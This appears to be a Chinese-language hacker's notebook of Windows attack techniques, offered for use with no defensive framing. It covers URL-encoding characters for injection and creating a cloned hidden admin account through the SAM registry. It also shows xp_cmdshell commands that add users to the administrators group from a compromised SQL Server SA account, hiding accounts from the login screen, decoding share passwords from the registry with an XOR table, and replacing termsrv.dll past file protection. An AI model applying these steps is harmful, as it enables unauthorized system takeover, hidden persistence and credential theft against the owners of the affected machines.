html

%5c注入法
%2f /
%3f ?
%3d =
%26 &
%20 空白鍵

Vista/Win7叫出administrator

在 Vista 及 Windows 7 的 Professional 版或以上，可以直接用 Computer Management 去把 Administrator 的帳號弄出來。但是在 Home 及 Basic 的版本上，只有以下一種方法。首先，要先進入 Elevated Command Prompt。
到 Start -> Accessory -> command prompt. 此時按右鍵，選 run as administrator，這樣就大功告成了。//對CMD調用提權
打入 net user administrator /active:yes

隱藏帳戶

新增完帳戶後
HKEY_LOCAL_MACHINE\SAM\SAM 先做右鍵提權再到
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
接著”000001fa4” 可能是administrator帳戶比對一下name
把新帳號和admin一起匯出
接著把F從admin複製給新帳號
順便把name裡面的新帳號匯出
刪除新帳戶後倒入登入檔!完成!

SQL 注入提權

這邊假設你已經擁有一個SA帳戶


遇到 sql server 2005 ，恢復xp_cmdshell的辦法：

開啟XP_cmdshell：

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;

開啟'OPENROWSET'：

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;

開啟'sp_oacreate':

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ole Automation Procedures',1;RECONFIGURE;


EXEC master..xp_cmdshell 'net user abc 1234 /add'
EXEC master..xp_cmdshell 'net localgroup administrators zk /add'
--net user abc /del --刪除
--結束

修改遠端連線數

控制台->系統管理工具->遠端連線服務->遠端連線設定
對RDP-TCP右鍵->屬性-選網路設定(Network Adapter)
最大連線數預設為2

隱藏XP使用者帳戶

在〔開始〕→〔執行〕→鍵入〔regedit〕→〔HKEY_LOCAL_MACHINE〕

→ 〔SOFTWARE〕→〔Microsoft〕→〔Windows NT〕→〔CurrentVersion〕

→〔Winlogon〕→〔SpecialAccounts〕→在〔UserList〕增加一個〔DWORD〕值

〔數值名稱〕為〔abc123〕，數值資料為〔1〕= 顯示　〔0〕=隱藏

選用〔0〕=隱藏

這樣在開始畫面跟控制台的使用者帳戶 "都看不到你新增的"

怎麼登入這隱藏帳號你因該知道了吧

如何知道共享密碼

如何知道共享密碼 (取自非人toib兄)

查看註冊表下面的地址﹕

HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows\CurrentVersion\Network\LanMan

看 parm1enc (根據本地機器的共享數而定)

假設您看到parmienc的鍵值為 "74d80e"

把它拆為兩個字節組合 "74 d8 0e"

看下面的表﹕

a[1] = 74, b[2] = d8, and c[3] = 0e

將發現密碼為﹕ ABC

A =74 =db =0c =e7 =12 =e8 =95 =2b
B =77 =d8 =0f =e4 =11 =eb =96 =28
C =76 =d9 =0e =e5 =10 =ea =97 =29
D =71 =de =09 =e2 =17 =ed =90 =2e
E =70 =df =08 =e3 =16 =ec =91 =2f
F =73 =dc =0b =e0 =15 =ef =92 =2c
G =72 =dd =0a =e1 =14 =ee =93 =2d
H =7d =d2 =05 =ee =1b =e1 =9c =22
I =7c =d3 =04 =ef =1a =e0 =9d =23
J =7f =d0 =07 =ec =19 =e3 =9e =20
K =7e =d1 =06 =ed =18 =e2 =9f =21
L =79 =d6 =01 =ea =1f =e5 =98 =26
M =78 =d7 =00 =eb =1e =e4 =99 =27
N =7b =d4 =03 =e8 =1d =e7 =9a =24
O =7a =d5 =02 =e9 =1c =e6 =9b =25
P =65 =ca =1d =f6 =03 =f9 =84 =3a
Q =64 =cb =1c =f7 =02 =f8 =85 =3b
R =67 =c8 =1f =f4 =01 =fb =86 =38
S =66 =c9 =1e =f5 =00 =fa =87 =39
T =61 =ce =19 =f2 =07 =fd =80 =3e
U =60 =cf =18 =f3 =06 =fc =81 =3f
V =63 =cc =1b =f0 =05 =ff =82 =3c
W =62 =cd =1a =f1 =04 =fe =83 =3d
X =6d =c2 =15 =fe =0b =f1 =8c =32
Y =6c =c3 =14 =ff =0a =f0 =8d =33
Z =6f =c0 =17 =fc =09 =f3 =8e =30
space =15 =ba =6d =86 =73 =89 =f4 =4a
1 =04 =ab =7c =97 =62 =98 =e5 =5b
2 =07 =a8 =7f =94 =61 =9b =e6 =58
3 =06 =a9 =7e =95 =60 =9a =e7 =59
4 =01 =ae =79 =92 =67 =9d =e0 =5e
5 =00 =af =78 =93 =66 =9c =e1 =5f
6 =03 =ac =7b =90 =65 =9f =e2 =5c
7 =02 =ad =7a =91 =64 =9e =e3 =5d
8 =0d =a2 =75 =9e =6b =91 =ec =52
9 =0c =a3 =74 =9f =6a =90 =ed =53
0 =05 =aa =7d =96 =63 =99 =e4 =5a
~ =4b =e4 =33 =d8 =2d =d7 =aa =14
` =55 =fa =2d =c6 =33 =c9 =b4 =0a
! =14 =bb =6c =87 =72 =88 =f5 =4b
@ =75 =da =0d =e6 =13 =e9 =94 =2a
# =16 =b9 =6e =85 =70 =8a =f7 =49
$ =11 =be =69 =82 =77 =8d =f0 =4e
% =10 =bf =68 =83 =76 =8c =f1 =4f
^ =6b =c4 =13 =f8 =0d =f7 =8a =34
& =13 =bc =6b =80 =75 =8f =f2 =4c
* =1f =b0 =67 =8c =79 =83 =fe =40
( =1d =b2 =65 =8e =7b =81 =fc =42
) =1c =b3 =64 =8f =7a =80 =fd =43
- =18 =b7 =60 =8b =7e =84 =f9 =47
_ =6a =c5 =12 =f9 =0c =f6 =8b =35
+ =1e =b1 =66 =8d =78 =82 =ff =41
= =08 =a7 =70 =9b =6e =94 =e9 =57
[ =6e =c1 =16 =fd =08 =f2 =8f =31
] =68 =c7 =10 =fb =0e =f4 =89 =37
{ =4e =e1 =36 =dd =28 =d2 =af =11
} =48 =e7 =30 =db =2e =d4 =a9 =17
; =0e =a1 =76 =9d =68 =92 =ef =51
: =0f =a0 =77 =9c =69 =93 =ee =50
' =12 =bd =6a =81 =74 =8e =f3 =4d
" =17 =b8 =6f =84 =71 =8b =f6 =48
, =19 =b6 =61 =8a =7f =85 =f8 =46
< =09 =a6 =71 =9a =6f =95 =e8 =56
. =1b =b4 =63 =88 =7d =87 =fa =44
> =0b =a4 =73 =98 =6d =97 =ea =54
? =0a =a5 =72 =99 =6c =96 =eb =55
/ =1a =b5 =62 =89 =7c =86 =fb =45
\ =69 =c6 =11 =fa =0f =f5 =88 =36
| =49 =e6 =31 =da =2f =d5 =a8 =16

多重登入

首先打开“运行”窗口，输入“Services.msc”打开“服务”窗口，双击“Terminal Service”打开其属性设置窗口
，把“启动类型”设为“已禁用”项，接着重启动计算机。

接下来再到网上下载一个SP2的2055版的Termsrv.dll文件，接下来打开IE浏览器，
在地址栏中输入“%systemroot%/system32/dllcache”后回车，
将下载的termsrv.dll文件替换掉原文件，再到“%systemroot%/system32”作同样的替换操作。

替换完毕后再运行“regedit”打开注册表，
在左侧中找到“HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Terminal ServerLicensing Core”项，
然后新建一个“DWORD值”值，命名为“EnableConcurrentSessions”，数据值为1，最后重新启动电脑。

再次打开“服务”窗口，将其中的“Terminal Service”项打开，把“启动类型”设为“自动”项，再单击对话框中的“启动”按钮，
最后单击“确定”按钮即可。

我想改這個termsrv.dll可以讓XP多人登入，
就是把原有termsrv.dll刪除，用另一版termsrv.dll取代，
一般而言會出現下圖的檔案保護：
http://140.134.4.20/~d9036593/a6.jpg
然後我按"取消"、"否"就可以成功替換系統檔termsrv.dll，
可是另一種情形(另外一台電腦)是不會出現如圖警告視窗的保護，
但是卻會自動復原，也就是刪除termsrv.dll之後會馬上生出一個原來一樣的termsrv.dll出來，
這樣我就沒辦法替換termsrv.dll，
請問這是內建的檔案保護設定哪裏改？改成如圖那種可置換系統的形式？
--------------------------------------------------------
好像是如果c:\windows\system32\dllcache裡面要是有備份，
那c:\windows\system32裡面系統檔被改的話，就會從dllcache還原，而不出現警告視窗，
如果c:\windows\system32\dllcache裡面要是沒有備份，
那c:\windows\system32裡面系統檔被改的話，就沒法從dllcache還原，這時就會出現檔案保護的警告視窗，要求插入安裝光碟來還原系統檔，
這麼說來，要先將dllcache等備份檔刪除，再取代system32裡面的系統檔就會成功？
備份檔除了在dllcache裡面外，還有在哪裡？
------------------------------------------------------------------
C:\WINDOWS\ServicePackFiles\i386\termsrv.dll here is.

顯示隱藏檔案

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL

CheckedValue

改成DWORD的1